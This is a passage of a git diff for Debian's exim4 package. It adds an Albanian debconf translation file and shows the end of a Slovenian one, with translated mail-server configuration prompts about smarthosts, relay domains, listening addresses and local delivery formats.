+#~ msgid ""
+#~ "Enter a colon-separated list of IP-addresses to listen on. You need to "
+#~ "double the colons in IPv6 addresses (e.g. 5f03::1200::836f::::)."
+#~ msgstr ""
+#~ "Vnesite z dvopiÄji loÄen seznam IP-naslovov, na katerih naj posluÅ¡am. Za "
+#~ "IPv6 naslove potrebujete dvojna dvopiÄja (npr. 5f03::1200::836f::::)."
+
+#~ msgid "Configuring Exim v4 (exim4-config)"
+#~ msgstr "Nastalvjanje Exim v4 (exim4-config)"
diff --git a/debian/po/sq.po b/debian/po/sq.po
new file mode 100644
index 0000000..f0254eb
--- /dev/null
+++ b/debian/po/sq.po
@@ -0,0 +1,813 @@
+# Translators, if you are not familiar with the PO format, gettext
+# documentation is worth reading, especially sections dedicated to
+# this format, e.g. by running:
+# info -n '(gettext)PO Files'
+# info -n '(gettext)Header Entry'
+# Some information specific to po-debconf are available at
+# /usr/share/doc/po-debconf/README-trans
+# or http://www.debian.org/intl/l10n/po-debconf/README-trans
+# Developers do not need to manually edit POT or PO files.
+#
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: exim 4.63\n"
+"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n"
+"POT-Creation-Date: 2007-07-18 08:29+0200\n"
+"PO-Revision-Date: 2008-05-12 13:33+0100\n"
+"Last-Translator: Elian Myftiu <elian.myftiu@gmail.com>\n"
+"Language-Team: Debian L10n Albanian <debian-l10n-albanian@lists.debian.org>\n"
+"Language: \n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid "Remove undelivered messages in spool directory?"
+msgstr "T'i fshij mesazhet e pashpërndarë nga dosja spool?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"There are e-mail messages in the Exim spool directory /var/spool/exim4/"
+"input/ which have not yet been delivered. Removing Exim will cause them to "
+"remain undelivered until Exim is re-installed."
+msgstr ""
+"Ka mesazhe e-mail në dosjen spool /var/spool/exim4/input që ende nuk janë "
+"shpërndarë. Nëse heq Exim këto mesazhe do mbesin të padërguar deri kur Exim "
+"do të reinstalohet."
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"If this option is not chosen, the spool directory is kept, allowing the "
+"messages in the queue to be delivered at a later date after Exim is re-"
+"installed."
+msgstr ""
+"Nëse kjo mundësi nuk zgjidhet, dosja spool ruhet, duke lejuar që mesazhet në "
+"rradhe të dërgohen në një datë të mëvonshme pas reinstalimit të Exim."
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid "Reconfigure exim4-config instead of this package"
+msgstr "Rikonfiguro exim4-config në vend të kësaj pakete"
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid ""
+"Exim4 has its configuration factored out into a dedicated package, exim4-"
+"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'."
+msgstr ""
+"Exim4 e ka konfigurimin e tij në një paketë të përkushtuar, exim4-config. "
+"Nëse dëshiron të rikonfigurosh Exim4, përdor 'dpkg-reconfigure exim4-config'."
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "internet site; mail is sent and received directly using SMTP"
+msgstr "në internet; posta dërgohet dhe tërhiqet duke përdorur SMTP"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; received via SMTP or fetchmail"
+msgstr "postë e dërguar nga smarthost; marrë prej SMTP-së ose fetchmail"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; no local mail"
+msgstr "postë dërguar nga smarhost; asnjë postë lokale"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "local delivery only; not on a network"
+msgstr "vetëm shpërndarje lokale; jo në një rrjet"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "no configuration at this time"
+msgstr "pa konfigurim tani për tani"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid "General type of mail configuration:"
+msgstr "Konfigurim i postës së përgjithshme:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Please select the mail server configuration type that best meets your needs."
+msgstr ""
+"Të lutem zgjidh llojin e konfigurimit të shërbyesit postar që i përshtatet "
+"më së miri nevojave të tua."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Systems with dynamic IP addresses, including dialup systems, should "
+"generally be configured to send outgoing mail to another machine, called a "
+"'smarthost' for delivery because many receiving systems on the Internet "
+"block incoming mail from dynamic IP addresses as spam protection."
+msgstr ""
+"Sistemet me adresë IP dinamike, duke përfshirë sistemet me lidhje telefonike "
+"zakonisht duhet të konfigurohen që të dërgojnë postën e jashtme tek një "
+"kompjuter tjetër, i quajtur 'strehues i zgjuar'. për shpërndarjen për shkak "
+"se shumë sisteme marrës në Internet bllokojnë mesazhet në ardhje nga adresa "
+"me IP dinamike si mbrojtje ndaj spam-it."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"A system with a dynamic IP address can receive its own mail, or local "
+"delivery can be disabled entirely (except mail for root and postmaster)."
+msgstr ""
+"Një sistem me një adresë IP dinamke mund të pranojë mesazhet e tij, ose "
+"shpërndarja lokale mund të çaktivizohet i tëri (përveç mesazheve për root "
+"dhe postmaster)."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid "Really leave the mail system unconfigured?"
+msgstr "Vërtet t'a lë sistemin e postës të pakonfiguruar?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid ""
+"Until the mail system is configured, it will be broken and cannot be used. "
+"Configuration at a later time can be done either by hand or by running 'dpkg-"
+"reconfigure exim4-config' as root."
+msgstr ""
+"Deri sa sistemi i postës të jetë konfiguruar, do jetë i pamundur përdorimi. "
+"Konfigurimi i mëvonshëm mund të bëhet ose me dorë ose duke ekzekutuar 'dpkg-"
+"reconfigure exim4-config' si root."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid "System mail name:"
+msgstr "Emri i sistemit të postës:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"The 'mail name' is the domain name used to 'qualify' mail addresses without "
+"a domain name."
+msgstr ""
+"'mail name' është emri i domain-it i përdorur për të 'kualifikuar' adresa "
+"poste pa një emër domain-i."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name will also be used by other programs. It should be the single, "
+"fully qualified domain name (FQDN)."
+msgstr ""
+"Ky emër do të përdoret gjithashtu nga programe të tjerë. Duhet të jetë i "
+"vetmi emër domain-i i plotë (FQDN)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"Thus, if a mail address on the local host is foo@example.org, the correct "
+"value for this option would be example.org."
+msgstr ""
+"Kështu që, nëse një adrese poste në një kompjuter lokal është kot@shembull."
+"org, vlera e saktë për këtë mundësi do të ishte shembull.org."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name won't appear on From: lines of outgoing messages if rewriting is "
+"enabled."
+msgstr ""
+"Ky emër nuk do të shfaqet në rreshtat Nga: prej mesazheve në dalje nëse "
+"aktivizon rishkrimin."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid "Other destinations for which mail is accepted:"
+msgstr "Vendmbërritje të tjera për të cilat posta pranohet:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"machine should consider itself the final destination. These domains are "
+"commonly called 'local domains'. The local hostname (${fqdn}) and "
+"'localhost' are always added to the list given here."
+msgstr ""
+"Të lutem shkruaj një listë të ndarë me pikëpresje domain-esh marrës për të "
+"cilët ky kompjuter duhet të konsiderojë veten si vendmbërritja e fundit. "
+"Këto domain-e zakonisht quhen 'domain-e lokalë'. Emri i strehuesit lokal "
+"(${fqdn}) dhe 'localhost' duhen shtuar gjithmonë në këtë listë."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"By default all local domains will be treated identically. If both a.example "
+"and b.example are local domains, acc@a.example and acc@b.example will be "
+"delivered to the same final destination. If different domain names should be "
+"treated differently, it is necessary to edit the config files afterwards."
+msgstr ""
+"Parazgjedhja është që të gjitha domain-at do të trajtohen njëlloj. Nëse si a."
+"shembull dhe b.shembull janë domain-a lokalë, llog@a.shembull dhe llog@b."
+"shembull do të dërgohen tek vendmbërritja finale. Nëse domain-a të ndryshëm "
+"duhet të trajtohen ndryshe, do të duhet të ndryshosh skedat e konfigurimit "
+"më tej."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Domains to relay mail for:"
+msgstr "Domain-a ku duhet lënë posta:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"system will relay mail, for example as a fallback MX or mail gateway. This "
+"means that this system will accept mail for these domains from anywhere on "
+"the Internet and deliver them according to local delivery rules."
+msgstr ""
+"Të lutem fut një listë të ndarë me pikëpresje domain-ash marrës për të cilët "
+"ky sistem do të pasojë mesazhe,p.sh një MX fallback ose gateway poste. Kjo "
+"nënkupton që ky sistem do të pranojë mesazhe për këto domain-a kudo nga "
+"Interneti dhe do t'i nisë ato sipas rregullash të caktuar dërgimi."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Do not mention local domains here. Wildcards may be used."
+msgstr ""
+"Mos përmend domain lokalë këtu. Mund të përdoren gërma gjithpërfshirëse."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid "Machines to relay mail for:"
+msgstr "Kompjuteri ku duhet lënë posta:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"Please enter a semicolon-separated list of IP address ranges for which this "
+"system will unconditionally relay mail, functioning as a smarthost."
+msgstr ""
+"Të lutem fut një listë të ndarë me pikëpresje shtrirjesh adrese IP për të "
+"cilën ky sistem do të pasojë arbitrarisht postën, duke punuar si një "
+"'strehues i zgjuar'."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or "
+"5f03:1200:836f::/48)."
+msgstr ""
+"Duhet të përdorësh formatin standard adresë/prefiks (p.sh. 194.222.242.0/24 "
+"ose 5f03:1200:836f::/48)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"If this system should not be a smarthost for any other host, leave this list "
+"blank."
+msgstr ""
+"Nëse ky sistem nuk do jetë një \"strehues i zgjuar\" për ndonjë kompjuter, "
+"lëre bosh këtë listë."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid "Visible domain name for local users:"
+msgstr "Emri i dukshëm i domain-it për përdoruesit lokalë:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid ""
+"The option to hide the local mail name in outgoing mail was enabled. It is "
+"therefore necessary to specify the domain name this system should use for "
+"the domain part of local users' sender addresses."
+msgstr ""
+"Mundësia për të fshehur emrin e postës lokale në mesazhet në dalje u "
+"aktivizua. Pra është e nevojshme të saktësosh emrin e domain-it që ky sistem "
+"duhet të përdorë për pjesën e domain-it në adresat e përdoruesve lokalë."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid "IP address or host name of the outgoing smarthost:"
+msgstr "Adresa IP ose emri i \"strehuesit të zgjuar\" dërgues:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"Please enter the IP address or the host name of a mail server that this "
+"system should use as outgoing smarthost. If the smarthost only accepts your "
+"mail on a port different from TCP/25, append two colons and the port number "
+"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in "
+"IPv6 addresses need to be doubled."
+msgstr ""
+"Të lutem fut adresën IP ose emrin e strehuesit të një shërbyesi poste që ky "
+"sistem duhet të përdorë si \"strehues i zgjuar\" dërgues. Nëse \"strehuesi i "
+"zgjuar\" pranon postën tënde vetëm në një portë të ndryshme nga TCP/25, "
+"shtoi dy \":\" dhe numrin e portës (për shembull strehuesizgjuar."
+"shembull::587 ose 192.168.254.254::2525). Dy pikat në adresat IPv6 duhen "
+"dyfishuar."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"If the smarthost requires authentication, please refer to the Debian-"
+"specific README files in /usr/share/doc/exim4-base for notes about setting "
+"up SMTP authentication."
+msgstr ""
+"Nëse 'strehuesi i zgjuar' kërkon vërtetim, të lutem drejtoju skedave "
+"përkatëse README të Debian-it në /usr/share/doc/exim4-base/ për shënime "
+"rreth rregullimit të SMTP-së."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Root and postmaster mail recipient:"
+msgstr "Marrësi i postës për root dhe postmaster:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Mail for the 'postmaster', 'root', and other system accounts needs to be "
+"redirected to the user account of the actual system administrator."
+msgstr ""
+"Posta për 'postmaster', 'root', dhe llogari të tjera sistemi duhet të "
+"pasohet në llogarinë e përdoruesit të administruesit aktual të sistemit."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"If this value is left empty, such mail will be saved in /var/mail/mail, "
+"which is not recommended."
+msgstr ""
+"Nëse kjo vlerë lihet bosh, mesazhe të tilla do të ruhen në /var/mail/mail, "
+"gjë e cila nuk këshillohet."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Note that postmaster's mail should be read on the system to which it is "
+"directed, rather than being forwarded elsewhere, so (at least one of) the "
+"users listed here should not redirect their mail off this machine. A 'real-' "
+"prefix can be used to force local delivery."
+msgstr ""
+"Vër re që posta e postmaster-it duhet të lexohet nga sistemi për ku "
+"drejtohet, jo të ridrejtohet tjetërkund, kështu që (të paktën një nga ) "
+"përdoruesit që zgjedh nuk duhet të ridërgojnë postën jashtë këtij "
+"kompjuteri. Një prefiks 'real-' mund të përdoret për të detyruar "
+"shpërndarjen lokale."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Multiple user names need to be separated by spaces."
+msgstr "Emra të shumëfishtë përdoruesi duhen ndarë me hapësira."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid "IP-addresses to listen on for incoming SMTP connections:"
+msgstr "Adresat-IP në pritje të lidhjeve hyrëse SMTP:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"Please enter a semicolon-separated list of IP addresses. The Exim SMTP "
+"listener daemon will listen on all IP addresses listed here."
+msgstr ""
+"Të lutem fut një listë të ndarë me pikëpresje adresash IP. Daemon dëgjues "
+"SMTP i Exim do të mbajë vesh në të gjitha adresat IP e rradhitura këtu."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"An empty value will cause Exim to listen for connections on all available "
+"network interfaces."
+msgstr ""
+"Një vlerë bosh do të bëjë që Exim të dëgjojë për lidhje në të gjitha "
+"ndërfaqet e mundshme të rrjetit."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"If this system only receives mail directly from local services (and not from "
+"other hosts), it is suggested to prohibit external connections to the local "
+"Exim daemon. Such services include e-mail programs (MUAs) which talk to "
+"localhost only as well as fetchmail. External connections are impossible "
+"when 127.0.0.1 is entered here, as this will disable listening on public "
+"network interfaces."
+msgstr ""
+"Nëse ky sistem merr mesazhe e-email drejtpërsëdrejti nga shërbime lokale "
+"(dhe jo nga strehues të tjerë) këshillohet t'i ndalosh lidhjet e jashtme për "
+"tek Exim. Shërbime të tilla përfshijnë programe e-mail (MUA) që komunikojnë "
+"vetëm me strehën lokale ose me fetchmail. Lidhjet e jashtme janë të "
+"pamundura kur 127.0.0.1 futet këtu, meqë kjo do të çaktivizojë dëgjimin në "
+"ndërfaqe rrjeti publikë."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?"
+msgstr "Ta ruaj numrin minimal të pyetjeve-DNS (Dial-on-Demand)?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"In normal mode of operation Exim does DNS lookups at startup, and when "
+"receiving or delivering messages. This is for logging purposes and allows "
+"keeping down the number of hard-coded values in the configuration."
+msgstr ""
+"Në mënyrën normale të veprimit Exim kryen kontrolle-DNS në fillim, dhe kur "
+"tërheq apo shpërndan mesazhe. Kjo ndodh për qëllime regjistrimesh dhe lejon "
+"mbajtjen ulët të numrit të vlerave hard-coded në konfigurim."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"If this system does not have a DNS full service resolver available at all "
+"times (for example if its Internet access is a dial-up line using dial-on-"
+"demand), this might have unwanted consequences. For example, starting up "
+"Exim or running the queue (even with no messages waiting) might trigger a "
+"costly dial-up-event."
+msgstr ""
+"Nëse ky sistem nuk ka një zgjidhës shërbimi të plotë DNS-je të përhershëm "
+"(për shembull lidhet me Internetin me një linjë dial-up duke përdoru "
+"telefonin) kjo mund të kishte rrjedhojë të padëshirueshme. Për shembull duke "
+"nisur Exim ose kur duke ekzekutuar rradhën (edhe pa asnjë mesazh në pritje) "
+"mund të shkaktojë një ngjarje me kosto të madhe."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"This option should be selected if this system is using Dial-on-Demand. If it "
+"has always-on Internet access, this option should be disabled."
+msgstr ""
+"Kjo mundësi duhet zgjedhur nëse ky sistem është duke përdorur Dial-on-"
+"Demand. Nëse ka gjithmonë hyrje në Internet, kjo mundësi nuk duhet "
+"aktivizuar."
+
+#. Type: title
+#. Description
+#: ../exim4-config.templates:12001
+msgid "Mail Server configuration"
+msgstr "Konfigurim Shërbimi Poste"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid "Split configuration into small files?"
+msgstr "Ta ndaj konfigurimin në skeda të vogla?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"The Debian exim4 packages can either use 'unsplit configuration', a single "
+"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', "
+"where the actual Exim configuration files are built from about 50 smaller "
+"files in /etc/exim4/conf.d/."
+msgstr ""
+"Paketat exim4 në Debian mund të përdorin 'konfigurim të vetëm', një skedë të "
+"vetme (/etc/exim4/exim4.conf.template) ose 'konfigurim të ndarë', ku skedat "
+"e pranishme të konfigurimit Exim përbëhen nga rreth 50 skeda më të vogla në /"
+"etc/exim4/conf.d/."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"Unsplit configuration is better suited for large modifications and is "
+"generally more stable, whereas split configuration offers a comfortable way "
+"to make smaller modifications but is more fragile and might break if "
+"modified carelessly."
+msgstr ""
+"Mënyra e parë është më e përdorshme për ndryshime të mëdha dhe zakonisht "
+"është më e qëndrueshme, ndërsa e dyta ofron një mënyrë të rehatshme për të "
+"kryer ndryshime më të vogla por është me e brishtë dhe mund të krijojë "
+"probleme nëse ndryshohet pa kujdes."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"A more detailed discussion of split and unsplit configuration can be found "
+"in the Debian-specific README files in /usr/share/doc/exim4-base."
+msgstr ""
+"Në diskutim më i detajuar mbi konfigurimin ndarë dhe bashkuar mund të "
+"gjendet në skedat e veçanta README të Debian-it në /usr/share/doc/exim4-base."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid "Hide local mail name in outgoing mail?"
+msgstr "Ta fsheh emrin e postës lokale në mesazhet në dalje?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid ""
+"The headers of outgoing mail can be rewritten to make it appear to have been "
+"generated on a different system. If this option is chosen, '${mailname}', "
+"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-"
+"Path are rewritten."
+msgstr ""
+"Kryet e mesazheve në dalje mund të rishkruhen që të shfaqen sikur të jenë "
+"prodhuar në një sistem të ndryshëm. Nëse zgjidhet kjo mundësi, "
+"'${mailname}', 'localhost' dhe '${dc_other_hostnames}' në Nga, Përgjigju, "
+"Dërguesi dhe Shteg-Kthimi do të mbishkruhen."
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "mbox format in /var/mail/"
+msgstr "Formati mbox në /var/mail/"
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "Maildir format in home directory"
+msgstr "Formati Maildir në dosjen home"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid "Delivery method for local mail:"
+msgstr "Mënyra e dërgimit për postë lokale:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Exim is able to store locally delivered email in different formats. The most "
+"commonly used ones are mbox and Maildir. mbox uses a single file for the "
+"complete mail folder stored in /var/mail/. With Maildir format every single "
+"message is stored in a separate file in ~/Maildir/."
+msgstr ""
+"Exim është i aftë të ruajë mesazhet e dërguar lokalisht në formate të "
+"ndryshëm. Ato më të përdorshmit janë mbox dhe Maildir. mbox përdor një skedë "
+"të vetme për tërë dosjen postare të ruajtur në /var/mail/. Me formatin "
+"Maildir çdo mesazh i vetëm ruhet në një skedë të ndarë në ~/Maildir/."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Please note that most mail tools in Debian expect the local delivery method "
+"to be mbox in their default."
+msgstr ""
+"Të lutem vër re që veglat më të shumta të postës në Debian presin që metoda "
+"e dërgimit lokal të jetë mbox si e parazgjedhur e tyre."
+
+#, fuzzy
+#~ msgid "Move undelivered mails from exim 3 to exim4 spool?"
+#~ msgstr ""
+#~ "T'i zhvendos mesazhet e pashpërndarë nga spool i exim(v3) në atë të exim4?"
+
+#, fuzzy
+#~ msgid ""
+#~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool "
+#~ "directory /var/spool/exim/input/."
+#~ msgstr ""
+#~ "Ka disa mesazhe të padërguar në dosjen spool të exim(v3) (ose exim-tls"
+#~ "(v3)) /var/spool/exim/input/."
+
+#~ msgid ""
+#~ "Choosing this option will move these messages to exim4's spool (/var/"
+#~ "spool/exim4/input/) where they will be handled by exim4."
+#~ msgstr ""
+#~ "Nëse zgjedh këtë mundësi mesazhet do të zhvendosen në dosjen spool të "
+#~ "exim4 (/var/spool/exim4/input/) ku do organizohen nga exim4."
+
+#, fuzzy
+#~ msgid ""
+#~ "This works only one-way: Exim4 can handle Exim 3 spool but not vice-"
+#~ "versa. If you reject this option, you need to move the messages yourself "
+#~ "or they will never be delivered."
+#~ msgstr ""
+#~ "Kjo punon vetëm një-kalimthi: Exim4 mund të trajtojë spool e exim(v3) por "
+#~ "jo anasjellas. Duhet të lëvizësh mesazhet vetëm nëse nuk planifikon të "
+#~ "kthehesh prapa tek exim(v3). Përndryshe, mesazhet duhen lëvizur dorazi më "
+#~ "vonë."
+
+#~ msgid "Leaving this list blank will have Exim do no local deliveries."
+#~ msgstr "Nëse e le bosh këtë Exim nuk do të dërgojë postë lokale."
+
+#~ msgid ""
+#~ "Be aware that this works only one-way, exim4 can handle exim(v3)'s spool "
+#~ "but not the other way round."
+#~ msgstr ""
+#~ "Kujdes pasi kjo funksionon vetëm në një mënyrë, exim4 mund të suportojë "
+#~ "spool e exim(v3), por jo anasjelltas."
+
+#~ msgid ""
+#~ "Move the mails only if you don't plan to go back to exim(v3), otherwise "
+#~ "the mail shouldn't be moved now but manually once you've converted your "
+#~ "setup."
+#~ msgstr ""
+#~ "Lëviz mesazhet vetëm nëse nuk synon të kthehesh mbrapsht tek exim(v3), "
+#~ "përndryshe posta nuk duhet lëvizur tani por manualisht pasi të kesh "
+#~ "kthyer rregullimet e reja."
+
+#, fuzzy
+#~ msgid ""
+#~ "If there are any more, enter them here, separated by semicolons. You may "
+#~ "leave this blank if there are none."
+#~ msgstr ""
+#~ "Nëse ka ndonjë, shkruaji këtu, ndarë nga dy pika. Mund ta lësh bosh nëse "
+#~ "nuk ka asnjë."
+
+#, fuzzy
+#~ msgid ""
+#~ "Please enter here the domains for which this system will relay mail, for "
+#~ "example as a fallback MX or mail gateway."
+#~ msgstr "Të lutem fut këtu emrin e domain-ave ku vendos të lësh postën."
+
+#~ msgid ""
+#~ "Such domains are domains for which you are prepared to accept mail from "
+#~ "anywhere on the Internet. Do not mention local domains here."
+#~ msgstr ""
+#~ "Domain-a të tillë janë ato për të cilët ti përgatitesh të pranosh mesazhe "
+#~ "poste nga Interneti. Mos përmend domain-a lokalë këtu."
+
+#, fuzzy
+#~ msgid ""
+#~ "The domains entered here should be separated by semicolons. Wildcards may "
+#~ "be used."
+#~ msgstr ""
+#~ "Domain-at që shkruan këtu duhen ndarë nga dy pika. Këtu mund të përdorësh "
+#~ "gërmat gjithëpërfshirëse (wildcards)."
+
+#~ msgid ""
+#~ "Since you enabled hiding the local mailname in outgoing mail, you must "
+#~ "specify the domain name to use for mail from local users; typically this "
+#~ "is the machine on which you normally receive your mail."
+#~ msgstr ""
+#~ "Përderisa aktivizove fshehjen e emrit të postës lokale në postën dalëse, "
+#~ "duhet të përcaktosh emrin e domain-it që do përdoret për postën e "
+#~ "përdoruesve lokalë; zakonisht ky është emri i kompjuterit ku tërheq "
+#~ "postën."
+
+#~ msgid "Where will your users read their mail?"
+#~ msgstr "Ku do ta lexojnë postën përdoruesit e tu?"
+
+#~ msgid "Machine handling outgoing mail for this host (smarthost):"
+#~ msgstr ""
+#~ "Kompjuterat që merren me postën dalëse për këtë strehues (smarthost):"
+
+#~ msgid "Enter the hostname of the machine to which outgoing mail is sent."
+#~ msgstr ""
+#~ "Shkruaj emrin e strehuesit për kompjuterin ku dërgohet posta dalëse."
+
+#~ msgid ""
+#~ "Enable this feature if you are using Dial-on-Demand; otherwise, disable "
+#~ "it."
+#~ msgstr ""
+#~ "Aktivizoje këtë mundësi nëse je duke përdorur Dial-on-Demand; përndryshe, "
+#~ "çaktivizoje."
+
+#, fuzzy
+#~ msgid "Select the mail server configuration type that best fits your needs."
+#~ msgstr ""
+#~ "Zgjidh llojin e konfigurimit që më së miri i përshtatet nevojave të tua."
+
+#~ msgid "If you are unsure then you should not use split configuration."
+#~ msgstr "Nëse nuk je i sigurtë nuk duhet të zgjedhësh konfigurimin e ndarë."
+
+#~ msgid "manually convert from handcrafted Exim v3 configuration"
+#~ msgstr "kthim me dorë nga konfigurimi i Exim v3"
+
+#~ msgid "Configure Exim4 manually?"
+#~ msgstr "Ta konfiguroj Exim4 me dorë?"
+
+#~ msgid ""
+#~ "You indicated that you have a handcrafted Exim 3 configuration. To "
+#~ "convert this to Exim 4, you can use the exim_convert4r4(8) tool after the "
+#~ "installation. Consult /usr/share/doc/exim4-base/examples/example.conf.gz "
+#~ "and /usr/share/doc/exim4-base/README.Debian.gz!"
+#~ msgstr ""
+#~ "Konfigurimi i Exim 3 është kryer me dorë. Për ta kthyer këtë të fundit në "
+#~ "Exim4, duhet të përdorësh veglën exim_convert4r4(8) pas instalimit. "
+#~ "Këshillo /usr/share/doc/exim4-base/examples/example.conf.gz dhe /usr/"
+#~ "share/doc/exim4-base/README.Debian.gz!"
+
+#~ msgid ""
+#~ "Until your mail system is configured, it will be broken and cannot be "
+#~ "used."
+#~ msgstr ""
+#~ "Deri sa sistemi yt i postës të jetë konfiguruar, do jetë i pamundur "
+#~ "përdorimi."
+
+#~ msgid ""
+#~ "Your \"mail name\" is the hostname portion of the address to be shown on "
+#~ "outgoing news and mail messages (following the username and @ sign) "
+#~ "unless hidden with rewriting."
+#~ msgstr ""
+#~ "\"emri i postës\" është pjesa e adresës së hostname-it që do shfaqet në "
+#~ "lajmet dhe mesazhet e postës në dalje (duke ndjekur emrin e përdoruesit "
+#~ "dhe shenjën @) në mos e fshehur nga rishkrimi."
+
+#~ msgid ""
+#~ "Please enter here the networks of local machines for which you accept to "
+#~ "relay the mail."
+#~ msgstr ""
